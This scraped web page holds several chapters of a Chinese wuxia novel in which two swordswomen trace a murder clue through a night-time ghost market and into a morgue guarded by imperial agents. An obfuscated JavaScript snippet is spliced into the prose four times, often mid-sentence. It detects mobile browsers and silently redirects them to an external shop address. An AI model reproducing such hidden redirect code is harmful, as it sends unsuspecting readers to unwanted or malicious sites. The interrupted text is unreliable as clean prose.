d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367213|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛇婆动作一顿,皱眉道,“没听说过。但不久前有一人想偷我的蛇拿去卖,就是这一条,幸好被我救回来了。” 李青筠见事情有门儿,追问:“那人呢?什么身份?现下何处?” “跟我来。” 蛇婆拄着拐杖,将李青筠领到屋后一处土堆前,指了指:“埋这儿了。” “……” 李青筠仰头望天,余光恰好瞥见不远处站了个人,立即大喜:“妹妹,你醒了!来来来!” 程灵将将睡醒,还有些不明状况,只是听见有人交谈就寻了过来。见李青筠唤她,她便神情茫然地走了过去,然后在李青筠的指挥下神情茫然地开始挖坟。 幸好蛇婆埋人埋得很敷衍,不到一盏茶时间,程灵就一铲子挖出半条胳膊,只不过下手有点重,不小心将那条胳膊铲断了。 她不知道挖的是谁,以为自己闯祸了,连忙看向李青筠。李青筠安慰她:“没事,铲碎点,一会儿拿去喂蛇。” 蛇婆张口大骂:“不要给我的蛇乱喂东西!” 程灵继续埋头干活,不久就将那具尸首完整地挖了出来。这人死了有一段时日,身上的肉已经开始腐烂,难得重见天日,气味十分难闻。 李青筠忍着恶心,拿铁铲随便扒拉几下它的衣物,用铲尖勾出一块巴掌大的石牌来。石牌打磨粗糙,上面只刻了一个“黄”字。 “这,呕,这什么玩意儿?呕!” 程灵扯下一块衣角,将石牌大致擦了擦,然后递给蛇婆。 “不知道。可能是他的姓氏。”蛇婆摇头表示爱莫能助,“当时这人偷了我的蛇,随即往白水镇的方向下山,也许你们可以去白水镇看一看。” “好,多谢。”李青筠躲开蛇婆还石牌的手,一本正经道,“妹妹,这个重要证物交给你,你收好。” 蛇婆说:“替我转告朴帮主,这些年来我信守承诺,一直与蛇为伴,再未杀过一个无辜之人。” 李青筠已抬步走出几丈远,闻言比划了一个“了解”的手势,也不管蛇婆能不能看得到。然而下一刻,蛇婆忽然又出声叫住了她:“李青筠。” 她脚步一顿,听到蛇婆说:“其实我的瞳术至多使普通人失去一刻钟的神智,若是用在习武之人身上,效果则会大打折扣,更别提面对当年的武林第一。” “若那个人并非丧失神智,而是自愿为之呢?”蛇婆问,“那你这些年的耿耿于怀,岂不是成了一场笑话?” 14.第 14 章 下山前往白水镇的路上,李青筠声称自己伤口疼得厉害,终于又如愿以偿趴在了程灵背上。 “妹妹,别见怪。实在是你臂膀肌肉匀称,趴起来太舒服。”李青筠厚着脸皮道。 反正背个人也不算太累,程灵说:“没关系。” 过了一会儿,李青筠又开口烦她:“你就不好奇我与蛇婆说了什么?” “不好奇。”程灵实话实说,“知不知道,都无所谓。” “无所谓?”李青筠被她逗得一笑,“你这孩子是谁养大的?那人肯定相当无趣。” 程灵想了想,师傅寡言少语,不苟言笑,说她“无趣”也不算诋毁,于是转头就出卖了她老人家:“是我师傅。” “若你早生个十几二十年,遇上我大师姐,定不会是现在这副模样。” 李青筠伸手在她下颌一挠,程灵觉得有些痒,偏头躲开。想了想,她问道:“你与她很像?” “我远不如她。”李青筠像是想起什么往事,忍不住勾起嘴角,“她啊……是天下第一等张扬,天下第一等骄傲,也是天下第一等讨人嫌。” “讨人嫌?” “是啊,讨人嫌。”李青筠说,“所以她死了。” “她为何而死?” 李青筠没有回答这个问题,只是缓缓地、像在将一些陈年旧谷子一粒一粒倾倒出来,再一粒一粒碾碎。 “她精通十八般武艺,其中最擅长的是枪,因此人们提起她时,总有一句‘银鞍照白马,飒沓如流星’。她就像是武林之上一轮永悬不落的太阳,照亮了许多人,也刺伤了许多人。” “她死之后,我就成了这个‘天下第一等’,所以我也死了。” 她顿了顿,在程灵耳边开玩笑似的说:“妹妹,我希望你永远不要成为下一个‘天下第一’。” 也不知程灵有没有听懂,反正她再没说话,只是低着头赶路。下山的路藤蔓与碎石遍布,走过一片堆成堆的枯枝败叶时,程灵的余光里忽然闪过一抹白色,她立即停下脚步。 李青筠伏在她背上昏昏欲睡,察觉到动静清醒了些:“怎么了?” “那里似乎……有条白蛇。” 天色还黑着,李青筠跳下来,顺着程灵所指的方向走上前去,直接一脚踢散叶子堆,居然还真让她踢到了一条白花花的东西。 不过那“白蛇”飞在半空中就散了架,一块一块七零八碎地掉在地上。 “这是条蛇骨。”李青筠说,“不过乍一看的确像是白蛇。” 见程灵有些失望,她又说:“这蛇骨也并非全无用处,打磨好了串成手串也不错。拿上吧,我记得朴帮主好像挺喜欢这些小玩意儿。” 程灵俯身将蛇骨一块块捡起,李青筠在一旁等她,漫不经心道:“幸好是条小蛇,要是再大一点,看上去恐怕就像人骨了。” “我见过,的确很像。”程灵说,“我师妹小时候在山里捡了一条大蛇蛇骨拿回去玩,被师傅看到了,她很不喜欢,让师妹扔掉。” “玩都不让玩啊,”李青筠啧啧摇头,“我最烦这种老古板。” 将散落一地的蛇骨捡完,二人继续赶路。下山比上山快了许多,一个时辰后,朝阳初升之时,二人抵达白水镇。 白水镇是松原县内一座小城,坐落在最东方,唯一的一条白水河早已干涸,不少人纷纷离开此处前往外地,因此镇子里人并不多。 这里大概也曾热闹过,大街两侧搭着密密麻麻的商铺,只不过现下都空无一人,荒凉得甚至鸟不拉屎。 李青筠找路边晒太阳的老头问了一圈,都没有打听到哪家人姓“黄”。折腾一晚上她也累了,索性拉着程灵去到镇上唯一一家客栈,看了间房,顾不得讲究脏不脏破不破,抱着被子倒头就睡。 程灵坐到客房里唯一一张椅子上,就这么醒醒睡睡地休息了一阵。等到李青筠睡足了觉,一睁眼,外面的天又黑透了。 “好久没有这么日夜颠倒地过日子了。”她打了个呵欠,“果然上了岁数,没有年轻时候能熬。” 石牌被程灵翻来覆去看了半个下午,还是没什么特别之处。她问:“这个‘黄’,一定是姓氏吗?” “也有可能是颜色。”李青筠坐在床边,用手指梳理着头发,随口说,“赤橙黄绿青蓝紫,集齐七个石牌,召唤彩虹。” 程灵没被李青筠扰乱思路,继续道:“若是令牌,一定会被赋予某种寓意,也难免借此划分等级。单看这石牌,材质普通,打磨粗糙,想必地位不高,且需要大量生产供人佩戴。” “那人将石牌藏在衣襟里,而非佩在腰上,说明他并不想让旁人知道石牌的存在。按理说,如果有人身份比‘黄’字牌更低,他会出于攀比之心,将其显露在外。因此大概也不会按照彩虹的颜色排序。” 李青筠目瞪口呆:“哇,我头一回听你说这么多话。” “……”程灵想知道自己说了这么多,她到底听进去一个字没有。 “好啦,我懂你的意思。”李青筠慢悠悠地起身,伸了个懒腰,“若是如此,我们也该见到有人佩戴一些材质更好、身价更贵的字牌,但是呢?我们一次也没有见过。” “也许这就是那个死人随手刻来的玩意儿,也许是什么见不得人的东西,所以所有人都要将字牌藏起来,到某个特定的时候才出示。” “特定的时候?”程灵不解。 “比如寅时晨起,午时斩首,申时饮茶,到了子时——” 李青筠走到窗边,忽然一把推开窗扇,屋外的喧闹声如潮水般涌入耳中。 “鬼市大开。” 程灵趴在窗边向外望去,难以置信地揉了揉眼睛。 白日里此处分明是一片荒凉,如今却人来人往、热闹非凡! 她从来不信鬼神,如今却不得不有些动摇:“难道这些都是……鬼?” “一探便知。”李青筠笑道,“早年听闻幽州鬼市之名,一直想来见识见识,可惜不得门路。没想到今日误打误撞,竟然遇上了。” 白水镇有宵禁,夜里家家户户大门紧锁,连客栈都不例外,二人只能走窗。落地之后汇入人流,很快就走到了长街的入口处。 入口处有人盘查,程灵见有人拿出一块刻着“地”字的玉牌,忽然茅塞顿开,低声说:“我知道了,是‘天地玄黄’。” 李青筠也看到了那块玉牌,又低头看看程灵手里的破石头块,发愁道:“怎么办,咱们的‘黄’太没排面了。” 程灵倒是不讲究这个,觉得能混进去就好。李青筠让她先往前走,自己落后两步,不知鼓捣了一阵什么,待到盘查时终于赶了上来。 “令牌拿来。” 一个虬髯大汉伸出手来,程灵将石牌递过去,对方只瞥了一眼,不屑地挥手:“黄字牌?哼,穷鬼。” 果然是以牌辨人。 她回过头想看李青筠有没有跟来,却见对方不知何时也搞到一块金光闪闪的字牌,趾高气扬地往虬髯大汉怀里一抛。 对方定睛一看,立马点头哈腰:“原来是天字牌的贵人!请进,请进!” 李青筠抬手朝下一按,示意他低调,自己倒是一点也不低调地昂首迈步进去,走到程灵身边朝她得意一笑。 “如何?” 程灵问:“这块天字牌从何处得来?” 李青筠还没来得及解释,入口处忽然有人惊呼:“糟了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17369920|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我的令牌呢?!” 她当即大笑出声,一把抓过程灵的手腕,拽着她往最汹涌的人潮中跑去。 “你……” “快跑!哈哈哈哈哈——” 没想到名满天下的竹影断虹竟然是个小偷小摸的惯犯,程灵也不知道李青筠跑什么,她分明会轻功、会易容,一眨眼就能隐入人群之中。可她偏偏要拽着程灵往前跑,在人群中挤挤攘攘,听路人不满地抱怨,然后躲进一家铺子,笑得上气不接下气。 “甩掉了吗?”她边笑边问。 程灵回头看了一眼,说:“甩掉了。” 铺子老板抱着胳膊,以看病患的眼神看着她们两个。 “来都来了,看看我家的货?”她说。 话虽这样说,她身后的柜台上却是空无一物。或者说,整个铺子里除了她们三个人,其余什么都没有。 李青筠问:“你家卖什么的?” “卖羊羔子嘛。”老板笑了笑,“鬼市规矩,天亮了就要走干净嘛,所以没牵来。” 老板的口音奇怪,每一句咬字都很刻意,像是刚学会汉话不久。 李青筠抬手把天字牌亮给她看:“来点好货,别拿歪瓜裂枣糊弄我。” “天字牌,好嘛,我第一回见。”老板的笑顿时真诚了许多,“贵客等着,我去给你挑好羊羔。” 她从后门钻了出去,手边没羊,也不知道她会怎么挑。 “她家卖羊,口音又怪,也许是突厥人。”李青筠低声对程灵说。 程灵警惕起来,蹙眉:“突厥人是怎么混进中原的?我们要不要报官?” “这里是鬼市,一群孤魂野鬼,宵禁都管不住,报官又有何用?” “前辈,这鬼市到底是什么?”程灵不解,“一路而来,我见到的都是活人,并没有鬼。” “幽州早有传说,鬼市昼伏夜出,行踪不定,每逢初一大开。夜里借用寻常商铺,天亮之前就会离去,不留半点痕迹。”李青筠指了指她们身处的这间铺子,“这些鬼市商人或是身份上不得明面,或是买卖上不得明面。此处原先应是座酒馆,今晚被那突厥老板‘借’来卖羊。” 程灵若有所思地点头。 “总之,万事小心,不要张扬。”李青筠叮嘱她,“这里鱼龙混杂,据我所感有不少高手。” 说话间,老板已经抱着一个包裹返回。她笑着将二人招呼过来,打开包裹,里面赫然是一块块小木牌。 木牌上刻了些“吐屯”“伊特”“小白”“黑子”之类的字眼,李青筠翻了翻,没看出什么名堂:“这怎么挑?看哪个字合眼缘?” “这些是羊羔子的名字嘛。”老板说,“我给你介绍。” “你们还给羊羔起名?” “有了名字,更好卖嘛。”老板说着,拿起几块木牌,“这个嘛,才一年,很温顺;‘吐屯’的脾气就不大好,但是样子好看;剩下几个都是中原来的,你们中原人应该更喜欢自己家的羊羔子。买一个回去,杀了吃或者养着,都很好嘛。” 程灵看向李青筠,这人在木牌堆里扒拉了一阵,有一搭没一搭地问上几句。她还以为李青筠真心想买只羊羔带回去,正琢磨着一会儿怎么带回去,就见李青筠将木牌一放,说了句:“算了,不买了。” 程灵见老板有些被戏耍之后的愠怒,觉得不太好意思,正想与她说声抱歉,就被李青筠一把拽了出去。 对方用了很大的力,脚步又急,程灵踉跄了一下才匆匆跟上。 “前辈,不买羊羔了吗?”她问,“若是你嫌麻烦,我可以帮你扛回去。” “什么‘羊羔’!”李青筠声音骤然冷下去,“她卖的是小孩!” 15.第 15 章 程灵回想了一下方才与老板的对话,顿时浑身一麻,后知后觉地恐惧起来。 “她说,杀了吃还是养着都行,意思是……” 任何一个正常人遇到这种事都会觉得不寒而栗,李青筠也不例外,脸色难看地说:“我早该想起来,突厥习惯将中原人称作‘两脚羊’。他们觉得中原人细皮嫩肉,性格温顺,很像绵羊。有时到了荒年,还会买卖中原人……” 她顿了顿,最后还是吐出那个字:“……吃。” 程灵喉间一阵恶心,甚至有点想干呕。 李青筠想起早年边防不严,边境常有突厥人往来做买卖。她年幼时与肖凛下山玩,见到一家羊肉铺,一旁就明晃晃地挂着半截人腿。只不过她那时不懂事,还以为是什么突厥独有的奇珍异兽,十分新奇地买了一斤回去放到厨房,被大师姐看到了,差点没把她揍死。 她最后回头看了一眼那家铺子,老板正倚在门边,似笑非笑地目送着二人落荒而逃。 “是我小看这鬼市了。”李青筠闭了闭眼,回过神来,“先找有关白蛇的线索,临走时我去处理。” 程灵的认知受到巨大冲击,一时之间不想说话,只点了点头。她庆幸自己和李青筠手中有刀,遇到这种事情能够解决一二。 可那些被拐卖的孩子呢?杀了这个老板,就能救下所有人吗? - 鬼市之中全是一些挂羊头不知卖什么肉的铺子,就连她们唯一知道的线索“白蛇”,如今看来也指不定是什么东西。 李青筠看样子是基本不抱什么希望了,晃晃悠悠地到处乱逛,去了几家商铺,有卖消息的、伪造文牒的,甚至还有卖身的。她看那个男人姿色一般,好奇他哪来的自信卖身,上去一问才知道人家是卖身为仆,又挨了一顿痛骂。 另一边程灵比她靠谱太多,街边铺子挨个问“收不收白蛇”。终于问到一家药铺掌柜时,对方抬了抬头,有些反应。 “有几条?” 程灵反问:“你收多少?” 掌柜语气听不出什么波澜:“多多益善。” 她斟酌了一番,报出一个远高于账目的价格:“一条五十两。” “……?”掌柜拨开帷帽,露出一张文弱的书生面容,这才肯正眼看她,“为何翻了五倍?还有,我没见过你。” 他似乎心生警惕,有些戒备地缓缓直起身来:“谁派你来的?” 程灵不动声色地伸手摸向腰侧,才忽然想起她的刀已经断在了松山林里。正思量着要如何回答才能打消对方的怀疑时,她的肩头一重,搭上了一条胳膊。 李青筠的声音自耳边传来:“做生意嘛,挣谁的钱不是挣?我们总不能因为上头死了人就自断财路吧。” 她没想到李青筠会在对对方一无所知的情况下主动透露消息,生怕打草惊蛇,于是神经紧绷着观察那掌柜的反应。幸而她们好像真的误打误撞来对了地方,掌柜摘下帷帽,试探地问:“你们可知人是谁杀的?” “听说是两个胆大包天的小贼行窃时被发现,一时失手就将人杀了。”李青筠一跃坐在柜台上,侧过身看他,“人如今已在郡衙关着了。” 掌柜闻言不屑道:“小贼?这你也信?蠢货!” 被人指着鼻子骂,李青筠也不生气,神情无辜:“有金翎卫亲审,难不成还怕抓错了人?” “要我看,那小贼不过是个替罪羊。”他冷笑,“太守死了,金翎卫却恰好途径幽州,接手了案子?哪有这么巧的事!” 听他的意思,是金翎卫杀了太守? 程灵与李青筠对视一瞬,李青筠朝她眨了下左眼。程灵心领神会,将话题扯回原本的买卖上:“我手里只剩三条白蛇,一百五十两,一分不能少。” “太守老儿死得突然,你们要的白蛇一时也不好找吧?”李青筠笑嘻嘻地帮腔,“多给几两酒钱,就当交个朋友嘛。” 掌柜盯着她们两人看了一会儿,终于开口:“成交。” “东西烫手,不好带在身上。明日一早我们在此处等你。”李青筠说着,指尖在桌面上划了几笔写出地点,“一手交钱,一手交货。” 程灵一直紧盯着她的手,李青筠分明是胡乱写了一个不存在的地方。她担心会被掌柜看出端倪,没想到对方不假思索地点头应下。 “好。” 得到了答复,程灵与李青筠转身离去。 她低声问:“那个地方……” “假的。”李青筠说,“放心,就算确有此地,他也不会去。” 正要跨出药铺大门时,掌柜忽然喊道:“等等,小姑娘。” 这个“小姑娘”显然是指程灵。她动作一滞,不知为何,心脏在胸腔中猛地跳了一下。 他说:“让我再看看你的脸。” 李青筠回头,若有所思地看了掌柜一眼,一把揽过发愣的程灵,半推着她往前走:“易容过的脸有什么看头?走了走了!” 走出去很远,程灵像是窒息许久般猛地倒吸了一口凉气,心跳也终于渐渐平缓下来。 “怎么了?”李青筠问,“你方才不太对劲。” 程灵回过神来,也想不明白自己是怎么了,只能面有愧色地对李青筠道:“多谢前辈解围。” 方才不过短短几句对话,天知道李青筠帮她打了多少次圆场!要是她孤身一人在此,恐怕刚说完那句“一条五两”,就该哑口无言、直接露馅、拔刀开打了。 “打探消息,别总想着空手套白狼,哪儿有那么好的事。”李青筠拍拍她的肩,“你就记住八个字,‘三假七真,语焉不详’,不管白的黑的都给它说成灰的,假装自己就是幕后黑手,运筹帷幄。懂了没?” 程灵受教,连连点头,心里思忖,也不知道她练上几年才能像李青筠这样…… 不对,她学这些东西干什么?师傅明明说过,手里的刀才是她此生唯一应该关注的东西。 果然外出久了容易分心,程灵想,还是尽快把程奚的嫌疑洗清,之后就带着小玉一起回天姥山去,继续从前练刀、练刀和练刀的生活。 “前辈,那个掌柜方才说金翎卫才是真凶,我们要不要去查一查金翎卫?” 夜里走了不少路,李青筠累得腰酸背痛,正琢磨着待会儿回去蒙头睡上一觉,却听见程灵又在十分积极地给她找麻烦。 真是初生牛犊不怕虎啊,她心中苦笑。 让她去查金翎卫?她倒宁愿直接杀去扬州屠了花褪残红的老巢。 “我们先回郡衙,之后再议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377253|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”李青筠叹了口气,“那个掌柜醉翁之意不在酒,他只是想借你我之手,把金翎卫搅进这滩浑水罢了。” 不过如今看来,这只倒霉的“出头鸟”,她们是不当也得当了。 - 朴七这两日忙着教程奚划拳,输了就罚他喝酒,一杯一杯下去,把人灌得差点找不着北。 “放、放过我吧,姐,呕!”程奚扒在铁门上试图逃走,“我真、真不行了!我不串门了,我要回去!” “回什么回。”朴七一把将人拽回来,“这鬼地方就你一个人能陪我耍耍,你走了,我不得无聊死!” 程奚欲哭无泪,朝着门外看守他的衙役伸出手:“救、救、我——” 衙役扶额,觉得在牢房里这样胡闹实在不像话,想去帮程奚开门,却见朴七朝自己比了个抹脖子的手势,于是立即很识时务地扭过头假装没看见。 这一扭头,才发现身旁不知何时多了个人。 他一眼瞥到对方绣着金色暗纹的衣角,连忙半跪下行礼:“大人,您来了。” 这位大人朝他点了点头,看向前方划拳划得热火朝天的两个人。 衙役连忙解释:“您先前说过,无论这二位提什么要求都照做。那个女子只要了几坛酒,之后就让我们不必再管她。” “我知道了。”大人说,“多谢。” 他何时见过金翎卫这样的大人物对他道谢,当即受宠若惊,将脑袋压得更低:“卑职不敢当!” “人模狗样,我呸!”朴七看见有人来了,忽然扔了酒杯,开始破口大骂,“我告诉你,他都是装的!他就是想把老娘抓起来报私仇!” “你这女人——”衙役连忙起身,指着她呵斥,“你敢对金翎卫不敬?枉费大人对你以礼相待!” 朴七一个翻身从地上跳起来:“当个破金翎卫了不起啊?到头来还不是一条朝廷的走狗!敢在我面前摆官威?老娘混江湖的时候他小子还在山旮旯里玩泥巴呢!” 衙役大怒,正待与她好好理论一番,却被大人拦下。 “好了,你先下去吧。” “是,大人。”他只好忍气吞声退下,临走还瞪了朴七好几眼。 朴七嗤地笑出了声:“不愧是人见人爱的肖大侠,就算投奔了朝廷,还是这么讨人喜欢啊。” 肖凛垂着手站在原地不动,像是一座沉默的石雕。不过朴七才不吃他这一套,继续出言讥讽:“肖大侠有如此魅力,当个金翎卫岂不可惜了?要我说,你不如去青楼争一争那花魁之位——” 市井中人说起话来往往口无遮拦,朴七更是个中翘楚,专捡难听话说。饶是肖凛好修养,听到这话,也不由有些愠怒。 但他知道朴七在刻意激怒自己,叹了一口气,无奈道:“朴帮主,为自己积些口德吧。” “你杀李青筠的时候怎么不想想给自己攒阴德?”朴七反唇相讥,“以为有朝廷庇护,武林里没人敢找你寻仇了是不是?我呸,老娘告诉你,你那些破事我都告诉月下十九峰了,白青螺亲口说的,全门上下与你不死不休!等着吧你,指不定哪天出门就被她一箭射死了!” 肖凛沉默半晌,似乎是看透了她的外厉内荏:“我了解云青鹤,他不会让我死在月下飞天镜手里的。” 16.第 16 章 程灵与李青筠离开白水镇,连夜赶回郡衙。程灵见大牢外有衙役守着,正要上前去动手将人打晕,谁知衙役一看见她,连忙捂住脑袋大喊:“别打别打!大人吩咐了,你们直接进去就行!” 程灵不为所动,继续抬手,却被李青筠拦住了。 “别打了。这些人成天被人打晕来打晕去,脑袋都不灵光了。” “好。”程灵收手,与李青筠一同在衙役的目送下走进大牢。 走着走着,李青筠忽然说:“这样总觉得有些奇怪。” 话音未落,她又转身回去,“啪”“啪”两声把衙役都打晕,顺手卸下其中一人的佩刀递给程灵,再将人挪到屋檐下安详地入眠。 “?”程灵拿着刀,疑惑地看着她。 李青筠振振有词:“值夜班太累,让他们睡会儿。顺便帮你找了把新刀。” 穿过幽暗狭窄的通道进入牢房,程灵一眼就看见程奚四仰八叉像是死了一样躺在地上,而朴七翘着二郎腿坐在一边悠悠喝酒。 好像哪里不太对。 ——这俩人怎么跑到牢房外面了! 李青筠也大吃一惊:“朴帮主,你把你狱友怎么了?” “灌了点酒而已。”朴七说,“牢房里头太窄了,还是外面宽敞。” 程灵半蹲到程奚身边,拍了拍他的脸,人还活着,就是浑身酒气难闻。 程奚迷迷糊糊睁开眼:“妹,你终于回来了……呕,我快不行了,呕!” “找个人怎么用了这么久?”朴七斜睨李青筠一眼,“我还以为你不回来了。” “是有这个打算。”李青筠笑。 朴七冷哼一声:“你不回来,我如何跟那位‘大人’交代?” 李青筠不笑了,说道:“提他作甚。” “他不久前来过,对我好一番威胁。”朴七乘机告状,“说什么他现在是朝廷的人,月下十九峰杀不得他,不然朝廷就要与武林开战。哎呀,好生威风,听得我也想去搞个金翎卫当当了。” 她话里一大半都是胡扯,肖凛不可能用这种语气说话。但事实的确如朴七所言,若肖凛死在武林人手里,朝廷正可趁此机会发兵,因为老皇帝早就容不下她们这些以武犯禁的“贼客”了。 李青筠说:“武林人杀不得,我李青筠杀得。左右我已是死人一个,冤魂索命天经地义,老皇帝若有意见,让他自己去与阎王理论。” 朴七揶揄她:“现在说得好听,别临了舍不得杀。” “你未免太高看我。”李青筠笑道,“我没那么有良心。” 随后,她将从蛇婆与鬼市那里得来的线索告诉朴七。听闻事情兜兜转转又回到金翎卫身上,朴七顿时大觉烦躁。 她恶狠狠问:“如今郡衙里有多少金翎卫?” 程灵先前已经探查过,答道:“算上肖凛,共有三十七人。” 朴七猛地一拍桌:“区区三十来号人我们怕他个屁!李青筠你不是号称能一打五十吗?咱们直接冲出去杀光那群鸟人!” “……”李青筠问,“杀完了,然后呢?” “然后杀穿幽州并州守军,直取京都,摘了那老东西的狗头挂到城墙上,所有事情就都了结了!” 朴七越想越觉得此法可行,心中一阵热血沸腾,一脚踩在桌上:“要我说咱们干脆别留后患,把那些皇子皇孙全砍了,皇宫一把火烧个干净,以后谁也别想当皇帝,都跟老娘一样当个普通老百姓!” 李青筠朝她抱拳,由衷道了声:“佩服佩服。” 然后转头对程灵说:“妹妹,我还是觉得你的提议可行。来,我们讨论一下如何潜入金翎卫之中探查……” 朴七已经完全沉浸在自己的美好想象中无法自拔,李青筠把人送回牢房里面壁慢慢想,程灵跟在她身后,说:“我先前去了太守府,太守的尸身已经不在原处,听说是被金翎卫带回了衙门。前辈,我想先去看一看尸身,查明太守真正的死因。” 李青筠思忖片刻,点了点头:“可行,你一个人趁夜快去快回,不要惊动金翎卫。” “好。”程灵说,“天亮之前,我会回来。” “我们能在大牢来去自如,大概是有肖凛授意。离开此处,衙门中处处掣肘,你要万事小心。”李青筠细细叮嘱她,“据我所知,金翎卫擅长用枪,专走‘力’一道。我记得你先前用的是雁翎刀,此刀轻灵,走‘巧’一路。所以若起冲突,不要与金翎卫硬碰硬,优先攻其腰脊。” “多谢前辈提醒。” 说罢,程灵动身离开。 李青筠走到朴七牢房外,朝她一伸手:“那把匕首给我。” 朴七问:“你要干啥?” “帮你放回太守府!”李青筠没好气道,“若凶器当真是这把匕首,回头一查,匕首又在你手里,你作何解释?” “可是这上面的花纹我还没看出名堂呢。”朴七递过来,又一缩手,“这上面好像是一条蛇围了一个圈……你让我再琢磨会儿,这东西我总觉得在哪儿见过。” 李青筠毫不留情地一把将匕首抽走:“看不出名堂,就说明不是你该看的东西。走了。” - 程灵对金翎卫所知甚少,只是偶尔听一些武林人提起,语气却无一不是厌憎的。 但那种厌憎与面对花褪残红时又有不同。如果说许多人对花褪残红如避蛇蝎,那么金翎卫就更像是一只讨厌的苍蝇,无处不在,嗡嗡作响,惹人心烦。 不是打不死,而是打不得。金翎卫的背后是皇帝,不敬金翎卫就是不将天家威严放在眼里。 自从许多年前铲除魔教后,武林元气大伤,不得已寻求朝廷庇护。而皇帝趁此机会在各地设立金翎卫据点,美其名曰保护,实则对武林门派行监视之职。 而今武林渐兴,天才辈出,隐隐又有与王朝分庭抗礼的迹象,于是双方之间的关系日渐微妙起来。 至于金翎卫,功夫一般,但奈何人多,一人一口唾沫星子都能将人淹死。就像这次前往幽州接肖凛回京,居然出动了近四十人。 程灵很奇怪巴掌大的郡衙是怎么塞下这么多金翎卫的。不过,她很快就亲眼见证了答案。 直到潜入仵作间之前,一切都是很顺利的。没有任何金翎卫发现她,她也没有发现任何金翎卫。推开仵作间的门,程灵意外地发现里面竟然摆放了一地尸体。 出什么事,死了这么多人? 她四下看了看,来不及多琢磨,要先尽快找出太守所在。仵作间里摆放尸体的床不知为何是空的,幸好小玉之前去打探消息,得知太守体型肥硕。程灵在满地尸身里找到占地最广的那个,走过去一看,运气不错,果然是太守。 据程奚所说,他看见太守时对方只有胸口插了一把匕首,后来匕首被朴七趁乱藏了起来。程灵看了一眼前胸的伤口,这一刀十分干脆利落,正中心脏,奇怪的是并没有流出多少血来。 程灵没有内力,也不会探脉,只能伸手在尸身摸索,试图找出别的异样。 按到背部时,她动作忽然一顿。 尸身下的地面被冷冰冰的血浸透,程灵将其侧翻过身,发现他的后背几乎被整个豁开,就像是鱼贩子杀鱼一样顺着脊骨划上一刀。 太守之死显然另有隐情,金翎卫却为何不继续探查,而是只盯着太守心口的伤大做文章? 这样看来,鬼市里的那个掌柜所言或许不全是假话,金翎卫的确有问题,或者说,他们不是诚心想要查出真凶。 程灵脑中思绪万千,她将尸身原位摆好,打算趁天色还暗悄无声息地离开。谁知刚挪动了一步,脚下竟不慎踩到了什么东西。 好像是……一只手? 她分明记得那处是片空地,低头一看,黑暗中只有模模糊糊的轮廓,但她脚边那一具“尸体”的的确确翻了个身。 “!” 程灵瞳孔骤缩,连忙抬脚的同时腿上用力,想要一跃而起躲上头顶的横梁暂避。 可是已经来不及了。 那只手一把抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381730|199213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的脚踝,迷迷糊糊地大吼一声“谁打扰老子睡觉!”,一抡胳膊直接将程灵甩了出去! 她重重摔在墙上,喉间一甜,脑中嗡嗡作响。躺在地上的“尸体”们被这巨大的动静吵醒,纷纷坐起身来,高喊着“怎么了?”“有贼?!”“弟兄们抄家伙!”,随后一拥而上,大半座郡衙都热闹了起来。 “……”李青筠好像让她不要惊动金翎卫来着。 可谁能想到这群人会睡在仵作间啊! 程灵一骨碌翻身而起,跃出仵作间的门,回身攀上屋檐想要逃走,却被那个金翎卫一把拽下按在地上。另一人拿枪自上而下朝她当面刺来,程灵猛地偏头,闪着银光的枪尖堪堪擦着她头发,“铛”一声将地面的石砖刺得四分五裂! “小贼,你还敢躲!” 李青筠说得不错,金翎卫走“力”一道,那人将程灵双肩按在地上,两只手如同铁钳,几乎要将她的骨头捏碎。她一时动弹不得,只能眼睁睁看着另一人拔枪而起,再次朝她胸口刺下。 千钧一发之际,程灵索性顺着那人力道,将左肩狠狠往地面一撞。“咔嚓”一声,她的肩头脱了臼,对方手下一松,她终于得以脱身,反腿一蹬用力踹在那金翎卫的侧腰,同时整个人擦着地面借力滑出去几丈远。 那人捂着侧腰,咧嘴一笑,笑容带着轻蔑:“好一招断尾求生,丫头对自己够狠心!” 